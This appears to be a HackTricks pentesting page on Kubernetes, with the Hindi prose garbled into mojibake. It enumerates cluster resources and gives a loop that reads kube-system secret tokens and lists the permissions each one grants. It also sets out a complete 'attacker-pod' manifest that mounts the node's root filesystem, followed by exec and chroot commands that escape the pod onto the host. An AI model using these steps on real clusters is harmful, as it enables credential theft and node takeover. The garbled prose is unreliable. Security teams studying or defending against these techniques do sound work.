рдпрджрд┐ рдЖрдк рд░рд╣рд╕реНрдпреЛрдВ рдХреЛ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдкреНрд░рддреНрдпреЗрдХ рдЯреЛрдХрди рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкрдВрдХреНрддрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

рд╕реЗрд╡рд╛ рдЦрд╛рддреЛрдВ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

рдЬреИрд╕рд╛ рдХрд┐ рдЗрд╕ рдкреГрд╖реНрда рдХреА рд╢реБрд░реБрдЖрдд рдореЗрдВ рдЪрд░реНрдЪрд╛ рдХреА рдЧрдИ рдереА рдЬрдм рдПрдХ рдкреЙрдб рдЪрд▓рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЖрдорддреМрд░ рдкрд░ рдЗрд╕реЗ рдПрдХ рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛ рд╕реМрдВрдкрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рд╕реЗрд╡рд╛ рдЦрд╛рддреЛрдВ рдХреА рд╕реВрдЪреА рдмрдирд╛рдирд╛, рдЙрдирдХреА рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдФрд░ рд╡реЗ рдХрд╣рд╛рдБ рдЪрд▓ рд░рд╣реЗ рд╣реИрдВ, рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддрд╛ рд╣реИред

k get serviceaccounts

Get Deployments

рдбрд┐рдкреНрд▓реЙрдпрдореЗрдВрдЯреНрд╕ рдЙрди рдШрдЯрдХ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЪрд▓рд╛рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред

k get deployments
k get deployments -n custnamespace

Pods рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

Pods рдЕрд╕рд▓реА рдХрдВрдЯреЗрдирд░ рд╣реИрдВ рдЬреЛ рдЪрд▓реЗрдВрдЧреЗред

k get pods
k get pods -n custnamespace

рд╕реЗрд╡рд╛рдПрдБ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

Kubernetes рд╕реЗрд╡рд╛рдПрдБ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖ рдкреЛрд░реНрдЯ рдФрд░ IP рдореЗрдВ рдПрдХ рд╕реЗрд╡рд╛ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЬреЛ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рд╕реЗрд╡рд╛ рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдкреЙрдбреНрд╕ рдХреЗ рд▓рд┐рдП рд▓реЛрдб рдмреИрд▓реЗрдВрд╕рд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░реЗрдЧрд╛)ред рдпрд╣ рдЬрд╛рдирдирд╛ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдХрд┐ рдЖрдк рдЕрдиреНрдп рд╕реЗрд╡рд╛рдПрдБ рдХрд╣рд╛рдБ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рди рдкрд░ рдЖрдк рд╣рдорд▓рд╛ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

k get services
k get services -n custnamespace

рдиреЛрдбреНрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

рдХреНрд▓рд╕реНрдЯрд░ рдХреЗ рдЕрдВрджрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЧрдП рд╕рднреА рдиреЛрдбреНрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВред

k get nodes

Get DaemonSets

DaeamonSets рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдХрд┐ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкреЙрдб рдХреНрд▓рд╕реНрдЯрд░ рдХреЗ рд╕рднреА рдиреЛрдбреНрд╕ рдореЗрдВ рдЪрд▓ рд░рд╣рд╛ рд╣реИ (рдпрд╛ рдЪрдпрдирд┐рдд рдиреЛрдбреНрд╕ рдореЗрдВ)ред рдпрджрд┐ рдЖрдк DaemonSet рдХреЛ рд╣рдЯрд╛рддреЗ рд╣реИрдВ, рддреЛ рдЗрд╕рдХреЗ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рдмрдВрдзрд┐рдд рдкреЙрдбреНрд╕ рднреА рд╣рдЯрд╛ рджрд┐рдП рдЬрд╛рдПрдВрдЧреЗред

k get daemonsets

рдХреНрд░реЙрдирдЬреЙрдм рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

рдХреНрд░реЙрди рдЬреЙрдмреНрд╕ рдХреНрд░реЛрдВрдЯреИрдм рдЬреИрд╕реЗ рд╕рд┐рдВрдЯреИрдХреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдкреЙрдб рдХреЗ рд▓реЙрдиреНрдЪ рдХреЛ рд╢реЗрдбреНрдпреВрд▓ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ рдЬреЛ рдХреБрдЫ рдХреНрд░рд┐рдпрд╛ рдХрд░реЗрдЧрд╛ред

k get cronjobs

configMap рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

configMap рд╣рдореЗрд╢рд╛ рдмрд╣реБрдд рд╕рд╛рд░реА рдЬрд╛рдирдХрд╛рд░реА рдФрд░ configfile рд╢рд╛рдорд┐рд▓ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдЙрди рдРрдкреНрд╕ рдХреЛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬреЛ kubernetes рдореЗрдВ рдЪрд▓рддреЗ рд╣реИрдВред рдЖрдорддреМрд░ рдкрд░, рдЖрдк рдмрд╣реБрдд рд╕рд╛рд░реЗ рдкрд╛рд╕рд╡рд░реНрдб, рд░рд╣рд╕реНрдп, рдЯреЛрдХрди рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдЕрдиреНрдп рдЖрдВрддрд░рд┐рдХ/рдмрд╛рд╣рд░реА рд╕реЗрд╡рд╛ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдФрд░ рдорд╛рдиреНрдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред

k get configmaps # -n namespace

рдиреЗрдЯрд╡рд░реНрдХ рдиреАрддрд┐рдпрд╛рдБ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ / Cilium рдиреЗрдЯрд╡рд░реНрдХ рдиреАрддрд┐рдпрд╛рдБ

k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies

рд╕рдм рдХреБрдЫ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ / рд╕рднреА

k get all

рд╣реЗрд▓реНрдо рджреНрд╡рд╛рд░рд╛ рдкреНрд░рдмрдВрдзрд┐рдд рд╕рднреА рд╕рдВрд╕рд╛рдзрди рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'

рдкреЙрдбреНрд╕ рдХреА рдЦрдкрдд рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

k top pod --all-namespaces

рдкреЙрдб рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдирд╛

рдпрджрд┐ рдЖрдк рдирдП рдкреЙрдб рдмрдирд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИрдВ, рддреЛ рдЖрдк рдЙрдирд╕реЗ рдиреЛрдб рдореЗрдВ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдПрдХ yaml рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдирдпрд╛ рдкреЙрдб рдмрдирд╛рдирд╛ рд╣реЛрдЧрд╛, рдмрдирд╛рдП рдЧрдП рдкреЙрдб рдкрд░ рд╕реНрд╡рд┐рдЪ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдФрд░ рдлрд┐рд░ рдиреЛрдб рдХреЗ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ chroot рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдЖрдк yaml рдлрд╝рд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП рд╕рдВрджрд░реНрдн рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣рд▓реЗ рд╕реЗ рдореМрдЬреВрдж рдкреЙрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рдореМрдЬреВрджрд╛ рдЫрд╡рд┐рдпреЛрдВ рдФрд░ рдкрдереЛрдВ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддреЗ рд╣реИрдВред

kubectl get pod <name> [-n <namespace>] -o yaml

рдпрджрд┐ рдЖрдкрдХреЛ рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖ рдиреЛрдб рдкрд░ рдкреЙрдб рдмрдирд╛рдирд╛ рд╣реИ, рддреЛ рдЖрдк рдиреЛрдб рдкрд░ рд▓реЗрдмрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ

k get nodes --show-labels

рд╕рд╛рдорд╛рдиреНрдпрддрдГ, kubernetes.io/hostname рдФрд░ node-role.kubernetes.io/master рд╕рднреА рдЕрдЪреНрдЫреЗ рд▓реЗрдмрд▓ рд╣реИрдВ рдЪрдпрди рдХреЗ рд▓рд┐рдПред

рдлрд┐рд░ рдЖрдк рдЕрдкрдирд╛ attack.yaml рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рддреЗ рд╣реИрдВред

apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""

original yaml source

рдЙрд╕рдХреЗ рдмрд╛рдж рдЖрдк рдкреЙрдб рдмрдирд╛рддреЗ рд╣реИрдВ

kubectl apply -f attacker.yaml [-n <namespace>]

рдЕрдм рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдмрдирд╛рдП рдЧрдП рдкреЙрдб рдкрд░ рд╕реНрд╡рд┐рдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ

kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

рдФрд░ рдЕрдВрдд рдореЗрдВ рдЖрдк рдиреЛрдб рдХреЗ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ chroot рдХрд░рддреЗ рд╣реИрдВ

chroot /root /bin/bash

рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХреА рдЧрдИ: Kubernetes Namespace Breakout using Insecure Host Path Volume тАФ Part 1 Attacking and Defending Kubernetes: Bust-A-Kube тАУ Episode 1

рд╕рдВрджрд░реНрдн

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

Last updated